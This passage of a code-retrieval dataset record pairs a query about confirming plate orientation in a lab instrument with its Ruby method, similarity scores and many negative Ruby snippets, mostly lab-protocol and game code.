1\n\t\t\t\telse\n\t\t\t\t\tboat.times do |x|\n\t\t\t\t\t\thold = hold + grid[row + x][col]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse \n\t\t\t\tif col + boat > 9\n\t\t\t\t\t$error = 1\n\t\t\t\telse\t\n\t\t\t\t\tboat.times do |x|\n\t\t\t\t\t\thold = hold + grid[row][col + x]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif hold == 0 && $error == 0\n\t\t\t\tif $vert == true\n\t\t\t\t\tboat.times do |x|\n\t\t\t\t\t\tgrid[row + x][col] = 1\n\t\t\t\t\tend\n\t\t\t\telse \n\t\t\t\t\tboat.times do |x|\n\t\t\t\t\t\tgrid[row][col + x] = 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tdone = 1\n\t\t\telse\n\t\t\t\tdone = 1\n\t\t\t\t$error =1\n\t\t\tend\n\t\tend\n\tend", "def break_plates_in_blocks(plates)\n\tn_plates = number_of_plates(plates)\n\tplaque_index=0\n\twhile plaque_index<n_plates\n\t\tlog \"breaking plate #{plaque_index}\"\n\t\tall_points = points_of_the_plate(plates,plaque_index)\n\t\tif all_points.count>0\n\t\t\tstart_point = all_points[0]\n\t\t\tmain_block = []\n\t\t\texpand_block(plates,main_block,start_point,plaque_index)\n\t\t\ttoremove = all_points.select {|p| not main_block.include? p}\t\t\t\n\t\t\tif toremove.count>0\n\t\t\t\tlog \"plate to be broken, #{toremove.count} points removed, #{main_block.count} kept\"\n\t\t\t\ttoremove.each {|p| x,y=p; plates.set(x,y,n_plates)}\n\t\t\t\tn_plates += 1\t\t\t\t\n\t\t\tend\t\t\t\n\t\tend\n\t\tplaque_index += 1\n\tend\nend", "def draw_homology_arm(image, name, length)\n d = Magick::Draw.new\n w = image.columns - 1\n h = image.rows / 7 # overhang\n y = 5 * h\n\n # Draw the lines\n d.stroke( \"black\" )\n d.stroke_width( @sequence_stroke_width )\n d.line( 0, y + h, 0, y ).draw( image )\n d.line( 0, y, w, y ).draw( image )\n d.line( w, y, w, y + h ).draw( image )\n\n # We want better labels here\n label_for = { \"5 arm\" => \"5' arm\", \"3 arm\" => \"3' arm\" }\n\n # annotate the block\n pointsize = @font_size\n d.annotate( image, w, y, 0, 0, \"#{ label_for[ name ] || name }\\n(#{ length } bp)\" ) do\n self.fill = \"blue\"\n self.gravity = Magick::CenterGravity\n self.font_weight = Magick::BoldWeight\n self.pointsize = pointsize\n end\n\n return image\n end", "def take_place_at_cargo_carriage\n puts \"\\tОставшееся свобоное место: #{carriage.available_volume}.\"\n puts(\"Нет свободного пространства\") || return if carriage.available_volume <= 0\n\n printf \"\\tСколько хотите занять? \"\n puts carriage.take_volume(gets.chomp.to_i) ? \"Успешно\" : \"не удалось застолбить место\"\n end" ]
[ "0.6942283", "0.64879876", "0.61009043", "0.6096458", "0.60674155", "0.60674155", "0.60674155", "0.60674155", "0.6026777", "0.59748775", "0.59718204", "0.5958743", "0.59585935", "0.59481514", "0.5920313", "0.58685595", "0.5801084", "0.57991534", "0.5776358", "0.57531667", "0.5748012", "0.5724856", "0.57160264", "0.57137746", "0.5701608", "0.56578803", "0.5636565", "0.5617674", "0.5598347", "0.55934966", "0.5582764", "0.5570859", "0.55437493", "0.55434275", "0.5540732", "0.55144936", "0.5492921", "0.54907566", "0.54795414", "0.5471251", "0.5454154", "0.5440484", "0.5424479", "0.5419128", "0.5411588", "0.5403271", "0.53853285", "0.5377627", "0.536153", "0.5343396", "0.53407025", "0.53297764", "0.53093255", "0.53012824", "0.5295981", "0.5276446", "0.52599216", "0.5247869", "0.52424735", "0.52366465", "0.5228582", "0.5226062", "0.5204527", "0.51826674", "0.51826674", "0.51714915", "0.5164236", "0.51601845", "0.5158369", "0.51505184", "0.5150239", "0.51428646", "0.5138768", "0.51339364", "0.5125531", "0.5125325", "0.51248944", "0.51098704", "0.5096501", "0.5093238", "0.5069919", "0.504958", "0.50297034", "0.50261784", "0.50198346", "0.5005296", "0.5003201", "0.4993377", "0.4987433", "0.49873757", "0.49837407", "0.49777192", "0.4975389", "0.49744147", "0.49740922", "0.49698937", "0.49685892", "0.4967674" ]
0.7599828
2
Instructions for confirming the orientation of a plate in the instrument
def confirm_plate_orientation 'MAKE SURE THAT THE PLATE IS IN THE CORRECT ORIENTATION' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def confirm_plate_orientation()\n \"MAKE SURE THAT THE PLATE IS IN THE CORRECT ORIENTATION\"\n end", "def place_plate_in_instrument(plate:)\n \"Place plate #{plate} in the thermocycler\"\n end", "def place_plate_in_instrument(plate:)\n \"Place plate #{plate} in the thermocycler\"\n end", "def place_plate_in_instrument(plate:)\n \"Place plate #{plate} in the thermocycler\"\n end", "def veer cmd\n\t\t@car.orientation = case cmd\n\t\t\t\t\t\t\twhen 'L' then @car.orientation-1<0 ? 3 : @car.orientation-1\n\t\t\t\t\t\t\twhen 'R' then (@car.orientation+1)%4\t\t\t\n\t\t\t\t\t\t\tend\n\tend", "def shake_and_incubate ops_to_plate\n show do\n title \"Shake and incubate\"\n \n check \"Shake the plates in all directions to evenly spread the culture over its surface till dry.\"\n check \"Discard the beads in a used beads container.\"\n check \"Throw away the following 1.5 mL tubes.\"\n note ops_to_plate.collect { |op| op.output(\"Transformation\").item.id }\n check \"Incubate all the plates with agar side up shown in the next page.\"\n end\n end", "def get_orientation_string()\n case self.orientation\n when 0\n return \"East\"\n when 90\n return \"South\"\n when 180\n return \"West\"\n when 270\n return \"North\"\n else\n return \"Invalid\" # If the robot orientation is not included in [0 90 180 270] the orientation is invalid\n end\n end", "def start_make_antibiotic_plate op\n #getting the media sample required to plate this yeast strain\n antibiotic_hash = { \"nat\" => \"clonNAT\", \"kan\" => \"G418\", \"hyg\" => \"Hygro\", \"ble\" => \"Bleo\", \"5fo\" => \"5-FOA\" }\n full_marker = op.input(\"Genetic Material\").sample.properties[\"Yeast Marker\"]\n marker = full_marker.downcase[0,3]\n marker = \"kan\" if marker == \"g41\"\n media = Sample.find_by_name(\"YPAD + #{antibiotic_hash[marker]}\") \n \n #create new operation and set to pending\n ot = OperationType.find_by_name(\"Make Antibiotic Plate\")\n new_op = ot.operations.create(\n status: \"pending\",\n user_id: op.user_id\n )\n op.plan.plan_associations.create operation_id: new_op.id\n \n #add correct media sample as the output of the new op\n aft = ot.field_types.find { |ft| ft.name == \"Plate\" }.allowable_field_types[0]\n new_op.set_property \"Plate\", media, \"output\", false, aft\n \n #associate the new op with the item that will be the input of Yeast antibiotic plating\n #This way Antibiotic Plating can retrieve the correct plate for the yeast strain\n op.output(\"Transformation\").item.associate :spin_off, new_op.id\n\n op.plan.reload\n new_op.reload\n end", "def plate\n @plate\n end", "def cardinal_azimuth; end", "def portrait?; end", "def landscape?; end", "def orientation\n if landscape?\n :landscape\n elsif portrait?\n :portrait\n else\n :square\n end\n end", "def run_examination\n if stream.missing?\n @original_width, @original_height = 1, 1\n false\n else\n output = `identify -format \"%w %h %[exif:Orientation]\" #{stream.path} 2> /dev/null`\n if $?.success? && output.present?\n width, height, orientation = *output.scan(/(\\d+) (\\d+) (\\d?)/).first.map{|s| s.to_i}\n rotated = (5..8).include?(orientation)\n @original_width = rotated ? height : width\n @original_height = rotated ? width : height\n true\n else\n Bulldog.logger.warn \"command failed (#{$?.exitstatus})\"\n @original_width, @original_height = 1, 1\n false\n end\n end\n end", "def azimuth; end", "def orientation=(value)\n\t\t\tvalue = GrabzIt::Utility.nil_check(value).capitalize\n\t\t\t@orientation = value\n\t\tend", "def orientation\n p1, p2, p3 = *convex_sub_polygon\n det = (p2[0]-p1[0])*(p3[1]-p1[1]) - (p3[0]-p1[0])*(p2[1]-p1[1])\n @orientation ||= (det < 0)? 1 : -1\n end", "def getOrientation()\n if `#{$orientationCmd}` =~ $orientationRE\n return $1 == '' ? 'normal' : $1\n else\n raise \"Could not determine orientation of #{$screen} from #{$orientationCmd}\"\n end\nend", "def set_portrait\n @orientation = 1\n end", "def warmer_plate_status; end", "def create_plate_in_sequencescape(plate, plate_uuid, date, sample_uuids)\n asset_size = plate.number_of_rows * plate.number_of_columns\n\n # Sequencescape does not have the concept other than 96 wells plate,\n # so we are not creating other plate types for now. However, it could be change in the future\n # and we could add additional plate types to Sequencescape.\n raise UnsupportedPlateType, \"The plate size is #{asset_size}. Currently we are only supporting plate with #{SupportedPlateSize} wells.\" unless asset_size == SupportedPlateSize\n\n sti_type = plate.is_a?(Lims::LaboratoryApp::Laboratory::Gel) ? settings[\"gel_type\"] : settings[\"plate_type\"]\n\n # Save plate and plate uuid\n plate_id = db[:assets].insert(\n :sti_type => sti_type,\n :plate_purpose_id => settings[\"unassigned_plate_purpose_id\"],\n :size => asset_size,\n :created_at => date,\n :updated_at => date\n ) \n\n db[:uuids].insert(\n :resource_type => settings[\"asset_type\"],\n :resource_id => plate_id,\n :external_id => plate_uuid\n ) \n\n # Save wells and set the associations with the plate\n plate.keys.each do |location|\n map_id = db[:maps].select(:id).where(\n :description => location, \n :asset_size => asset_size\n ).first[:id]\n\n well_id = db[:assets].insert(\n :sti_type => settings[\"well_type\"], \n :map_id => map_id,\n :created_at => date,\n :updated_at => date\n ) \n\n db[:container_associations].insert(\n :container_id => plate_id, \n :content_id => well_id\n ) \n\n # Save the volume contained in the well ie the solvent quantity in S2 \n aliquot = plate[location].find { |aliquot| aliquot.type == \"solvent\" }\n volume = aliquot.quantity if aliquot\n set_well_volume_and_concentration(well_id, volume, nil, date) if volume\n\n # Save well aliquots\n if sample_uuids.has_key?(location)\n sample_uuids[location].each do |sample_uuid|\n sample_resource_uuid = db[:uuids].select(:resource_id).where(\n :resource_type => settings[\"sample_type\"], \n :external_id => sample_uuid\n ).first\n\n raise UnknownSample, \"The sample #{sample_uuid} cannot be found in Sequencescape\" unless sample_resource_uuid\n sample_id = sample_resource_uuid[:resource_id]\n\n tag_id = get_tag_id(sample_id)\n study_id = study_id(sample_id)\n create_asset_request!(well_id, study_id, date)\n\n db[:aliquots].insert(\n :receptacle_id => well_id, \n :study_id => study_id,\n :sample_id => sample_id,\n :created_at => date,\n :updated_at => date,\n :tag_id => tag_id\n )\n end\n end \n end\n end", "def orientation \n @position - @prev_position\n end", "def show_orientation_block?\n instructor? && !instructor_has_completed_orientation? && @current.empty? && @past.empty?\n end", "def correct_orientation?\n if !Move::ORIENTATIONS.include?(orientation)\n errors.add(:orientation, :orientation_error) \n end\n end", "def test_complete_rotation\n rover = MarsRover.new\n rover.command('LLLL')\n assert_equal([0,0,'N'], rover.position)\n end", "def rna_prep_steps(working_plate)\n show do\n title 'Run RNA-Prep'\n note \"Run typical RNA-Prep Protocol with RNA plate #{working_plate.id}\n and adapter plate #{working_plate.get(ADAPTER_KEY).class}\"\n table highlight_non_empty(working_plate, check: false)\n end\n end", "def ordinal_azimuth; end", "def set_plate\n @plate = authorize Plate.includes(wells: [:test_result, :sample]).find(params[:id])\n end", "def insert_landscape\n puts (\"\\u{1f4b5}\" + \" \" + \"\\u{1f4b4}\" + \" \" + \"\\u{1f4b6}\" + \" \" + \"\\u{1f4b7}\" + \" \") * 8 # line of cash?\n end", "def orientation(img)\n (img.rows > img.columns) ? \"landscape\" : \"portrait\"\n end", "def required_rotation_for_upright_display\n required_rotation_orientation_in_degrees = (360 - self.orientation) % 360\n return required_rotation_orientation_in_degrees\n end", "def test_rotate\n assert_equal :portrait, @driver.orientation\n\n @@core.wait do\n @driver.rotation = :landscape\n assert_equal :landscape, @driver.orientation\n end\n\n @@core.wait do\n @driver.rotation = :portrait\n assert_equal :portrait, @driver.orientation\n end\n end", "def parafilm_plates\n show do \n title \"Label and Parafilm\"\n \n plates_to_parafilm = operations.reject { |op| op.temporary[:delete] || !op.temporary[:valid_params?] }.map { |op| op.input(\"Plate\").item.id }\n note \"Perform the steps with the following plates: #{plates_to_parafilm}\"\n check \"Label the plates with their item ID numbers on the side, and parafilm each one.\"\n check \"Labelling the plates on the side makes it easier to retrieve them from the fridge.\"\n end\n end", "def orientation_name\n return Orientation::PORTRAIT if size[0] < size[1]\n return Orientation::LANDSCAPE\n end", "def control\n self.genome =~ /.*phi[xX].*/ ? \"Y\" : \"N\"\n end", "def orient_patch\n rotmat = CVFFI::CvMat.new CVFFI::cvCreateMat( 2,3, :CV_32F )\n CVFFI::cv2DRotationMatrix( CVFFI::CvPoint2D32f.new( [ @patch.width/2.0, @patch.height/2.0 ]), -@angle*180.0/Math::PI, 1.0, rotmat )\n\n dstimg = @patch.twin\n CVFFI::cvWarpAffine( @patch, dstimg, rotmat )\n\n dstimg \n end", "def setup_rotation\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 4\n @angle = @acts[1]\n change_angle(@acts[2], @acts[3])\n end", "def aff()\n\t\t\tprint @plateau[0][0],\"|\", @plateau[0][1],\"|\",@plateau[0][2]\n\t\t\tputs\n\t\t\tputs \"-----\"\n\t\t\tprint @plateau[1][0],\"|\", @plateau[1][1],\"|\",@plateau[1][2]\n\t\t\tputs\n\t\t\tputs \"-----\"\n\t\t\tprint @plateau[2][0],\"|\", @plateau[2][1],\"|\",@plateau[2][2]\n\t\t\tputs\n\tend", "def note_fluorescent_plates(fluorescent_operations)\n long_list = fluorescent_operations[:dark_ops] + fluorescent_operations[:light_ops]\n show do \n title \"Make Note on Fluorescent Plates\"\n plates_to_note = long_list.reject { |op| op.temporary[:delete] }.map{ |op| op.input(\"Plate\").item.id }\n note \"Perform steps with the following plates: #{plates_to_note}\"\n note \"Place a small piece of tape on each plate\"\n note \"Make note on tape saying 'Select Circled Colonies'\"\n end\n end", "def create\n @orientation = Orientation.new(params[:orientation])\n @orientation.user_id = current_user.id\n @orientation.state = 1\n if @orientation.save\n flash[:notice] = \"予約手続き完了しました!\"\n redirect_to :controller => 'home'\n else\n format.html { render action: \"new\" }\n format.json { render json: @orientation.errors, status: :unprocessable_entity }\n end\n end", "def delete_plates\n show do \n title \"Discard Plates\"\n \n discard_plate_ids = operations.select { |op| op.temporary[:delete] }.map { |op| op.input(\"Plate\").item.id }\n note \"Discard the following plates with 0 colonies: #{discard_plate_ids}\"\n end if operations.any? { |op| op.temporary[:delete] }\n end", "def getOrientation(row, col)\n case (@orientation_index)\n when 0\n return [\n Block.new(row, col),\n Block.new(row, col - 1),\n Block.new(row, col + 1),\n Block.new(row + 1, col + 1)\n ]\n when 1\n return [\n Block.new(row, col),\n Block.new(row + 1, col - 1),\n Block.new(row + 1, col),\n Block.new(row - 1, col)\n ]\n when 2\n return [\n Block.new(row, col),\n Block.new(row, col - 1),\n Block.new(row - 1, col - 1),\n Block.new(row, col + 1)\n ]\n when 3\n return [\n Block.new(row, col),\n Block.new(row + 1, col),\n Block.new(row - 1, col),\n Block.new(row - 1, col + 1)\n ]\n else\n abort('No such rotation orientation')\n end\n end", "def shout\n\t\tputs @x.to_s+\" \"+@y.to_s+\" \"+@orientations.key(@orientation.to_i)+\"\t\"+@status.to_s\n\tend", "def rotate(direction)\n return unless was_executed_valid_place_command?\n\n orientation_keys = orientation.keys\n orientation_index = orientation_keys.index(@current_orientation) + direction\n @current_orientation = orientation_keys[orientation_index].nil? ? orientation_keys[0] : orientation_keys[orientation_index]\n @table.board[@current_position_x][@current_position_y] = abbreviate(@current_orientation)\n\n print_board\n end", "def update_status_text\n # TODO: Support translations.\n\n Sketchup.status_text =\n if @state == PLACE_STATE\n \"Place compass.\"\n else\n \"Set north direction.\"\n end\n\n Sketchup.vcb_label = \"Angle\"\n update_vcb_value\n end", "def zrotation\n end", "def calculate_orientation\n x, y = @components.values\n if x.pos? and y.zero?\n 0.deg\n elsif x.zero? and y.pos?\n 90.deg\n elsif x.neg? and y.zero?\n 180.deg\n elsif x.zero? and y.neg?\n 270.deg\n elsif x.pos? and y.pos?\n Math.atan( y/x ).rad # Will return an Angle object (with the property \"degrees\")\n elsif x.neg? and y.pos?\n angle = Math.atan( y/x.abs ).rad\n (180 - angle.deg).deg # Will return an Angle object (with the property \"degrees\")\n elsif x.neg? and y.neg?\n angle = Math.atan( y.abs/x.abs ).rad\n (180 + angle.deg).deg # Will return an Angle object (with the property \"degrees\")\n elsif x.pos? and y.neg?\n angle = Math.atan( y.abs/x ).rad\n (360 - angle.deg).deg\n end\n end", "def auto_orient\n manipulate! do |image|\n o = image.get('exif-Orientation').to_i rescue nil\n o ||= image.get('exif-ifd0-Orientation').to_i rescue 1\n case o\n when 1\n # Do nothing, everything is peachy\n when 6\n image.rot270\n when 8\n image.rot180\n when 3\n image.rot90\n else\n raise('Invalid value for Orientation: ' + o.to_s)\n end\n image.set_type GObject::GSTR_TYPE, 'exif-Orientation', ''\n image.set_type GObject::GSTR_TYPE, 'exif-ifd0-Orientation', ''\n end\n end", "def landscape?\n xy_ratio >= 1\n end", "def auto_orient\n manipulate! do |image|\n o = image.get('exif-Orientation').to_i rescue nil\n o ||= image.get('exif-ifd0-Orientation').to_i rescue 1\n case o\n when 1\n # Do nothing, everything is peachy\n when 6\n image.rot270\n when 8\n image.rot180\n when 3\n image.rot90\n else\n raise('Invalid value for Orientation: ' + o.to_s)\n end\n image.set('exif-Orientation', '')\n image.set('exif-ifd0-Orientation', '')\n end\n end", "def orientation\n return nil if not @rep\n\n # get the transformation from the group or component instance\n t = @rep.transformation\n eye = t.origin\n dir = t.xaxis\n up = t.zaxis\n y = t.yaxis\n\n # See if there is an offset that needs to be applied to the eye position\n eo = self.get_offset\n if( eo )\n offset = Geom::Vector3d.linear_combination eo.x, dir, eo.y, y, eo.z, up\n eye.offset!(offset)\n end\n\n [eye, dir, up]\nend", "def rit_plate!(layout_name, instance_name, plate_name)\n Rit::Plate.get(layout_name, instance_name, plate_name, session[:preview_time])\n end", "def re_incubate_plates ops_to_incubate\n if !ops_to_incubate.blank? \n show do \n title \"Re-Incubate\"\n note \"The following plates will be re-incubated, so set them aside for now:\"\n note \"#{ops_to_incubate.map { |op| op.input(\"Plate\").item.id }.join(\",\")}\"\n end\n ops_to_incubate.each do |op|\n plate = op.input(\"Plate\").item\n op.set_status \"pending\"\n plate.location = \"#{t_c} C incubator\"\n plate.save\n end\n end\n end", "def license_plate\n raw = @raw_license_plate\n iac = raw[0..4]\n raw = @raw_license_plate[5..raw.length]\n res= []\n (raw.length / 4).times do\n slice = raw.slice((raw.length - 4), raw.length)\n res << slice\n raw = raw.gsub(slice, '')\n end\n remainder = raw.gsub(res.reverse.join, '')\n res = [iac, remainder, res.reverse].flatten.join(\" \")\n res\n end", "def position?\n print \"The wheel has \"\n \n\t\t if @position / 26 == 0\n print \"not yet fully rotated, \"\n elsif @position / 26 == 1\n print \"rotated once \"\n else \n print \"rotated #{@position / 26} times, \"\n end\n \n if @position % 26 == 0\n print \"and is at position 1. \\n\"\n else\n\t\t print \"and is at position #{@position % 26}. \\n\"\n end\n\tend", "def resuspend ops_to_plate\n show do\n title \"Resuspend in water and plate\"\n \n check \"Add 200 µl of MG water to the following mixtures: #{ops_to_plate.map { |op| op.output(\"Transformation\").item.id}.to_sentence}.\"\n check \"Vortex each tube to fully resuspend cells.\"\n check \"Flip the plates and add 4-5 glass beads to it, add 200 µl of mixtures on each plate.\"\n warning \"Add each volume of mixture to the plate with the matching ID.\"\n end\n end", "def update\n @orientation = Orientation.find(params[:id])\n\t\tif @orientation.active == false #open orientation if its full\n\t\t\t\t@orientation.active = true\n\t\tend\n\n respond_to do |format|\n if @orientation.update_attributes(params[:orientation])\n format.html { redirect_to @orientation, notice: 'Orientation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @orientation.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_landscape\n @orientation = 0\n end", "def orientation\n System::get_property('screen_orientation').to_s\n end", "def has_victory?\n vertical_c4? || horizontal_c4? || diagonal_c4?\n end", "def purpose\n labware.plate_purpose\n end", "def incode\n sector && unit && [sector, unit].join\n end", "def create\n @orientation = Orientation.new(params[:orientation])\n @orientation.numCurrParticipant = 0\n \n respond_to do |format|\n if @orientation.save\n format.html { redirect_to @orientation, notice: 'Orientation was successfully created.' }\n format.json { render json: @orientation, status: :created, location: @orientation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orientation.errors, status: :unprocessable_entity }\n end\n end\n end", "def intro\n plate_reader = PlateReader.new\n show do\n title \"Plate Reader Measurements\"\n separator\n note \"This protocol will instruct you on how to take measurements on the #{plate_reader.type} Plate Reader.\"\n note \"Optical Density is a quick and easy way to measure the growth rate of your cultures.\"\n note \"Green Fluorescence helps researchers assess a response to a biological condition <i>in vivo</i>.\"\n note \"<b>1.</b> Setup #{plate_reader.type} Plate Reader Software workspace.\"\n note \"<b>2.</b> Check to see if input item is a #{plate_reader.valid_containers} if not, transfer samples to a valid container.\"\n note \"<b>3.</b> Prepare measurement item with blanks.\"\n note \"<b>4.</b>Take measurement, export data, & upload.\"\n end\n return plate_reader\n end", "def cue_up args\n \n #make the shot if in cue mode\n if args.state.angle_chosen\n return power args\n elsif args.state.aim_type == 2\n return rotation_angle args\n elsif args.state.angle_locked\n return fine_angle_adjustment args\n else\n return choose_angle args\n end\nend", "def plate_params\n params.require(:plate).permit(:width, :height, :plate_value, :qtd, :mobile_id)\n end", "def half_wind_azimuth; end", "def orientation=(value)\n if value\n if value == :landscape\n value = :landscape_left\n elsif !value.is_a?(Symbol)\n value = ORIENTATIONS[value] || :unknown\n end\n end\n @custom_orientation = value\n end", "def victory_phase?\n @phase == :victory\n end", "def display_plate(outname, ops, stamp_columns=false)\n plate = Array.new(8) { Array.new(12, \"-\") }\n if stamp_columns\n ops.each do |op|\n col = op.output(outname).column\n background = BACKGROUND_COLORS[col]\n content = \"#{(\"A\".ord.to_i).chr}#{col+1}\"\n plate[0][col] = {content: content, style: {background: background} }\n (1..stamp_columns - 1).each do |row|\n plate[row][col] = { content: \" \", style: { background: background } }\n end\n end\n else\n ops.each do |op|\n row = op.output(outname).row\n col = op.output(outname).column\n plate[row][col] = {content: \"#{(row + \"A\".ord.to_i).chr}#{col+1}\", style: {background: BACKGROUND_COLORS[0] } }\n end\n end\n\n return plate\n end", "def orientation=(orientation='h')\n if orientation == 'h' || orientation == 'horizontal'\n self.horizontal = true\n elsif orientation == 'v' || orientation == 'vertical'\n self.horizontal = false\n end\n end", "def orient(rx, ry, qx, qy, px, py)\n (orient_if_sure(px, py, rx, ry, qx, qy) || orient_if_sure(rx, ry, qx, qy, px, py) || orient_if_sure(qx, qy, px, py, rx, ry)) < 0\n end", "def check_bingo\n if horizontal? then puts \"BINGO!\"\n elsif vertical? then puts \"BINGO!\"\n elsif diagonal_1? then puts \"BINGO!\"\n elsif diagonal_2? then puts \"BINGO!\"\n end \n end", "def compass_direction\n angle = Sketchup.active_model.shadow_info[\"NorthAngle\"].degrees\n rotation = Geom::Transformation.rotation(ORIGIN, Z_AXIS, -angle)\n\n Y_AXIS.transform(rotation)\n end", "def calc_effs\n @eff_x = (Math.cos(@angle*(Math::PI/180.0))*@length).round(2)\n @eff_y = (Math.sin(@angle*(Math::PI/180.0))*@length).round(2)\n\n @eff_x_width = (Math.cos((@angle-90.0)*(Math::PI/180.0))*(@width/2.0)).round(2)\n @eff_y_width = (Math.sin((@angle-90.0)*(Math::PI/180.0))*(@width/2.0)).round(2)\n\n #print(\"EZB eff #{@eff_x},#{eff_y} widths #{@eff_x_width},#{@eff_y_width}\\n\")\n end", "def is_angle?(); @type == GRT_ANGLE; end", "def stabilise\n\t\tif almost_at_angle(0, @angle, @rotation_speed)\n\t\t\tupdate_angle(0)\n\n\t\telsif almost_at_angle(180, @angle, @rotation_speed)\n\t\t\tupdate_angle(180)\n\n\t\telsif first_quadrant?(@angle) || third_quadrant?(@angle)\n\t\t\tupdate_angle(calculate_angle(-@rotation_speed))\n\n\t\telse\n\t\t\tupdate_angle(calculate_angle(@rotation_speed))\n\n\t\tend\n\tend", "def start_angle\n end", "def to_s\n \"#{@x} #{@y} #{@orientation}\"\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def acute?\n angles.max < 90.0\n end", "def rit_plate!(layout_name, instance_name, plate_name)\n RitClient::Plate.get(layout_name, instance_name, plate_name, nil) # session[:preview_time]\n end", "def turn(orientation)\n if orientation == \"R\"\n case @direction\n when \"N\"\n @direction = \"E\"\n when \"E\"\n @direction = \"S\"\n when \"S\"\n @direction = \"W\"\n else\n @direction = \"N\"\n end\n\n elsif orientation == \"L\"\n case @direction\n when \"N\"\n @direction = \"W\"\n when \"E\"\n @direction = \"N\"\n when \"S\"\n @direction = \"E\"\n else\n @direction = \"S\"\n end\n end #end of if\nend", "def handleConjured\n handleStandardDegredation(2)\n end", "def retrograde?\n inclination_rad > PI / 2\n end", "def quarter_wind_azimuth; end", "def update_origin_plates\n # operations that have not yet errored are guarenteed to correspond to correct colonies on the original plates.\n # we will update the associations of the origin plate for each op to reflect this new verified colony\n operations.running.select { |op| op.input(\"PCR\").sample_type.name != 'Plasmid' }.each do |op|\n # Use association map to cleanly deal with data associated to parts of a collection\n colony_pick = op.input(\"PCR\").part.get(:colony_pick).to_i\n origin_plate_id = op.input(\"PCR\").part.get(:origin_plate_id).to_i\n \n if origin_plate_id && Item.exists?(origin_plate_id) && colony_pick\n origin_plate = Item.find(origin_plate_id)\n correct_colonies = origin_plate.get(:correct_colonies) ? origin_plate.get(:correct_colonies) : []\n \n # rely on idempotence of .to_s to normalize correct \n # colony association into an array regardless\n # of whether it started in array or string format.\n correct_colonies.to_s.chomp(']').chomp!('[') #convert Array to string representation if Array and remove brackets (if string: stays the same)\n correct_colonies = correct_colonies.split(\",\") #string array back to array\n \n correct_colonies.push \"c#{colony_pick}\"\n origin_plate.associate(:correct_colonies, correct_colonies)\n end\n end\n end", "def orient_if_sure(px, py, rx, ry, qx, qy)\n l = (ry - py) * (qx - px)\n r = (rx - px) * (qy - py)\n ((l - r).abs >= (3.3306690738754716e-16 * (l + r).abs)) ? l - r : 0\n end", "def valid4 deck\n print \"\\t#{1}) %-39s \" % deck[13][4, 20]\n print \"\\t#{2}) %-39s \" % deck[46][4, 20]\n print \"\\t#{3}) %-39s \" % deck[61][4, 20]\n puts 'same color - dif number - dif shape - dif shade'\n puts\nend", "def landscape\n config\n end", "def openeye()\n\t\t@pintar = true\n\tend", "def height\n ['N', 'S'].include?(@orientation) ? @height : @width\n end", "def plate_reader_induction(op)\n if debug\n experimental_media_mat = Item.find(271082).get('experimental_media_mat')\n else\n experimental_media_mat = op.input(INPUT).item.get('experimental_media_mat')\n end\n \n out_collection = op.output(OUTPUT).collection\n medias_rc_lists = uniq_media_rc_lists(experimental_media_mat)\n fill_plate_with_media(out_collection, medias_rc_lists, well_vol=SEC_DILU_MED_VOL)\n # Associate inducer+antibiotic matrix to item\n associate_to_item(out_collection, 'experimental_media_mat', experimental_media_mat)\n end", "def corrector; end", "def corrector; end", "def corrector; end" ]
[ "0.8160834", "0.60162157", "0.60162157", "0.60162157", "0.5978708", "0.5851275", "0.5802398", "0.57700443", "0.56774205", "0.5616263", "0.56112385", "0.55316675", "0.5486473", "0.5423526", "0.54189897", "0.5417088", "0.5391417", "0.53603524", "0.53197634", "0.53178656", "0.5311558", "0.52932435", "0.52641547", "0.52611154", "0.5253591", "0.52388114", "0.5235437", "0.52034074", "0.5198209", "0.51972854", "0.51939034", "0.5151731", "0.5139388", "0.5132189", "0.51077837", "0.50589776", "0.50403005", "0.50359786", "0.50272685", "0.5013361", "0.50099695", "0.49929842", "0.49926636", "0.49884027", "0.49865398", "0.49845028", "0.49731234", "0.4964262", "0.4953982", "0.4941772", "0.49309552", "0.4895611", "0.48951313", "0.48927623", "0.48829636", "0.48724183", "0.48698023", "0.48639283", "0.48178884", "0.48090547", "0.47906607", "0.47800556", "0.4778115", "0.477625", "0.4775998", "0.4770543", "0.47628966", "0.47621092", "0.47617242", "0.47543907", "0.47421452", "0.47368228", "0.47364154", "0.47356278", "0.47269684", "0.47265592", "0.47167352", "0.47083485", "0.47067654", "0.4704362", "0.4704362", "0.4704362", "0.4704362", "0.47043565", "0.47042775", "0.46926612", "0.46899498", "0.46891096", "0.46859288", "0.46795195", "0.4679327", "0.46764845", "0.4675749", "0.46690533", "0.46646583", "0.46634075", "0.4657486", "0.4657486", "0.4657486" ]
0.8118967
2
Instructions for selecting the PCR program template
def select_program_template(program:) file = program_template_file(program: program) "Choose the program template <b>#{file}</b>" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def program_template_file(program:)\n template_file(\n template_name: program.program_template_name,\n extension: :PROGRAM_EXT\n )\n end", "def select_layout_template(program:)\n file = layout_template_file(program: program)\n \"Choose the layout template <b>#{file}</b>\"\n end", "def select_layout_template(program:)\n file = layout_template_file(program: program)\n \"Choose the layout template <b>#{file}</b>\"\n end", "def puppet_resource_cmd\n UtilityLib::PUPPET_BINPATH + 'resource cisco_X__RESOURCE_NAME__X'\nend", "def run_qpcr(outname, ops, program, test_str, stamp_columns)\n coll = ops.first.output(outname).collection\n\n display_plate = display_plate(outname, ops, stamp_columns)\n stub = upload_stub(program, test_str)\n\n show do\n title \"Place #{test_str} stripwells in qPCR machine\"\n check \"Open #{SOFTWARE} on qPCR computer and make sure the qPCR is not running\"\n note \"Open lid\"\n note \"Place the <b>#{coll}-#{test_str}</b> stripwells in the block in the following order\"\n table display_plate\n note \"Close lid\"\n end\n\n show do\n title \"Program Setup: #{stub}\"\n check \"Open #{SOFTWARE} if not already open\"\n check \"Choose <b>File->Open->Protocol</b>\"\n if stub == 